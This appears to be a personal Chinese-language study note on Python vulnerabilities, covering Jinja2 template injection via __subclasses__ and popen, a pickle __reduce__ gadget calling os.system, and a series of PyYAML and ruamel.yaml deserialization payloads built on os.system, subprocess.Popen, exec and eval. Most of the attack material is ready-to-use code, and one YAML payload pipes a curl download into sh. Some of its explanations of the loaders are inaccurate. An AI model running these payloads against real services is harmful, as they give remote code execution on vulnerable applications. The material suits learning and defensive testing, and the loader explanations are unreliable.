
python漏洞学习
SSTI
1 2 3
| {{2*2}} {{config}} <script>alert('xss')</script>
|
输出所有类,再查找os类
1
| "".__class__.__base__.__subclasses__()
|

可以用脚本,也可以复制到vscode中,ctrl+f搜索, 看一共多少项

1 2 3 4 5
| ori_str = """[]""" ori_list = ori_str.split(",") for index, item in enumerate(ori_list): if "os._wrap_close" in item: print(index)
|
1
| "".__class__.__base__.__subclasses__()[148]
|

1
| "".__class__.__base__.__subclasses__()[148].__init__.__globals__
|

1 2
| "".__class__.__base__.__subclasses__()[147].__init__.__globals__['popen']('calc') "".__class__.__base__.__subclasses__()[148].__init__.__globals__['popen']('calc')
|

pickle反序列化
序列化
类对象->字节流
反序列化
字节流->对象
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| import pickle import os
class XU17(): def __init__(self): self.username = 0 self.password = 0
def login(self, username, password): print(username) return username == 'admin' and password == '123456'
def __reduce__(self): print("reduce") return os.system,("calc",)
c = XU17()
with open("XU17.ser","wb") as f: pickle.dump(c,f)
with open("XU17.ser","rb") as f: pickle.load(f)
|
Marshal反序列化
pickle 类无法序列化 code类,为了弥补这个问题,2.6以后增加了marshal模块来处理
PyYAML反序列化
1 2 3 4 5 6 7 8 9 10
| !!python/object/apply:os.system ["calc.exe"] !!python/object/new:os.system ["calc.exe"] !!python/object/new:subprocess.check_output [["calc.exe"]] !!python/object/apply:subprocess.check_output [["calc.exe"]]
!!python/object 标签 !!python/object/new 标签 !!python/object/apply 标签
data=!!python/object/apply:os.system ["curl http:// |sh"]
|
PyYAML< 5.1
Successfully installed PyYAML-4.2b4
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import yaml poc = '!!python/object/new:os.system ["calc.exe"]' # #给出一些相同用法的POC # poc = '!!python/object/new:subprocess.check_output [["calc.exe"]]' # poc = '!!python/object/new:os.popen ["calc.exe"]' # poc = '!!python/object/new:subprocess.run ["calc.exe"]' # poc = '!!python/object/new:subprocess.call ["calc.exe"]' # poc = '!!python/object/new:subprocess.Popen ["calc.exe"]' yaml.load(poc)#弹计算器
|

PyYAML>=5.1
load()
在 PyYaml>5.1 的版本之后,如果要使用 load()
函数,要跟上一个 Loader 的参数,直接使用 load 请求时会显示以下 warning
1
| load(data,Loader=yaml.Loader)
|
实例代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import yaml
yaml_data = """ - name: Alice age: 25 - name: Bob age: 30 """ data = yaml.load(f,Loader=yaml.FullLoader) print(data)
with open('data.yaml') as f: data = yaml.load(f,Loader=yaml.FullLoader) print(data)
|
输出结果:
1
| [{'name': 'Alice', 'age': 25}, {'name': 'Bob', 'age': 30}]
|
这里其实和 PyYaml<=5.1 版本一样
load_all()
1
| load_all(data, Loader=yaml.Loader)
|
示例代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import yaml yaml_data = """ # 第一个文档 - name: Alice age: 25 # 第二个文档 - name: Bob age: 30 """ data = yaml.load_all(yaml_data) for doc in data: for person in doc: print(person['name'], person['age'])
|
输出结果:
这里和 PyYaml<=5.1 版本一样
full_load(data)
load()
与 full_load()
函数的区别是:full_load()
使用 SafeLoader
作为默认解析器
所以说,这是一个相对安全的解析器,它限制了可以执行的 Python 代码的类型。
示例代码:
1 2 3 4 5 6 7 8 9 10 11
| import yaml yaml_data = """ - foo - bar - baz """ data = yaml.full_load(yaml_data) print(data)
|
输出结果:
full_load_all(data)
full_load_all()
与 full_load()
函数类似,但可以处理包含多个 YAML 文档的数据流。
示例代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import yaml yaml_data = """ - foo - bar - baz --- - alice - bob - charlie """ data = yaml.full_load_all(yaml_data) for doc in data: print(doc)
|
输出结果:
1 2
| ['foo', 'bar', 'baz'] ['alice', 'bob', 'charlie']
|
unsafe_load(data)
unsafe_load()
函数可以加载包含自定义 Python 对象的 YAML 数据,允许加载和执行任意 Python 代码,并尝试将它们反序列化为实际的 Python 对象。
其存在安全隐患
示例代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| import yaml yaml_data = """ !!python/object:__main__.Person name: Alice age: 25 """ class Person: def __init__(self, name, age): self.name = name self.age = age data = yaml.unsafe_load(yaml_data) print(data)
|
输出结果:
1
| <__main__.Person object at 0x0000022DA0D36CD0>
|
unsafe_load_all(data)
相比 unsafe_load()
,unsafe_load_all()
用于将多个 YAML 文档加载为 Python 对象的生成器。
示例代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import yaml yaml_data = """ - foo - bar - baz --- - !!python/object:__main__.Person name: Alice age: 25 """ class Person: def __init__(self, name, age): self.name = name self.age = age data = yaml.unsafe_load_all(yaml_data) for doc in data: print(doc)
|
输出结果:
1 2
| ['foo', 'bar', 'baz'] [<__main__.Person object at 0x00000174FFEBD210>]
|
加载器
- BaseLoader:不支持强制类型转换
- SafeLoader:安全地加载 YAML 格式的数据,限制被加载的 YAML 数据中可用的 Python 对象类型,从而防止执行危险的操作或代码。
- FullLoader:加载包含任意 Python 对象的 YAML 数据,FullLoader 加载器不会限制被加载的 YAML 数据中可用的 Python 对象类型,因此可以加载包含任意 Python 对象的 YAML 数据。
- UnsafeLoader:加载包含任意 Python 对象的 YAML 数据,并且不会对被加载的 YAML 数据中可用的 Python 对象类型进行任何限制。
PyYAML=5.1
- 现在测试的话,5.1版本已经不支持直接load了,会报错告诉你没有使用加载器,不安全,用下面的代码可以在5.1测试
1 2 3 4 5 6 7
| import yaml
poc1 = "!!python/object/apply:nt.system [calc.exe]" poc2 = '!!python/object/new:os.system ["calc.exe"]'
yaml.load(poc1, Loader=yaml.Loader) yaml.load(poc2, Loader=yaml.Loader)
|
1 2 3 4 5
| from yaml import * data = b"""!!python/object/apply:subprocess.Popen - whoami""" deserialized_data = unsafe_load(data, Loader=Loader) print(deserialized_data)
|
还是原先的四个加载器,但是强制要求在使用load等方法的时候手动选择加载器,否则会警告.同时也提供了unsafe_load()
方法,可以不选择加载器,相当与之前版本的load.
下面是几个可用的payload:
python
1 2 3 4 5 6 7 8 9 10 11 12
| import yaml from yaml import * poc= b"""!!python/object/apply:os.system - calc"""
yaml.load(poc,Loader=Loader) yaml.unsafe_load(poc)
|

下面是利用builtins的:
python 这个我在3.11.7 5.2不成功
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import yaml from yaml import * poc= b""" - !!python/object/new:str args: [] state: !!python/tuple - "__import__('os').system('whoami')" - !!python/object/new:staticmethod args: [0] state: update: !!python/name:exec """ yaml.unsafe_load(poc) yaml.load(poc,Loader=yaml.Loader)
|
python
1 2 3 4 5 6 7 8 9 10 11
| import yaml poc= b""" !!python/object/new:type args: ["z", !!python/tuple [], {"extend": !!python/name:eval }] listitems: "__import__('os').system('whoami')" """
yaml.unsafe_load(poc) yaml.load(poc,Loader=yaml.Loader)
|

python
1 2 3 4 5 6 7 8 9 10 11
| import yaml poc= b""" - !!python/object/new:yaml.MappingNode listitems: !!str '!!python/object/apply:subprocess.Popen [whoami]' state: tag: !!str dummy value: !!str dummy extend: !!python/name:yaml.unsafe_load """ yaml.unsafe_load(poc) yaml.load(poc,Loader=yaml.Loader)
|

利用 ruamel.yaml
读写 yaml 文件
(我没成功)
ruamel.yaml
的用法和 PyYAML 基本一样,并且默认支持更新的 YAML1.2 版本
利用 ruamel.yaml
读写 yaml 文件也存在上述漏洞
1 2 3 4 5 6
| import ruamel.yaml poc= b"""!!python/object/apply:os.system - calc""" ruamel.yaml.load(poc)
|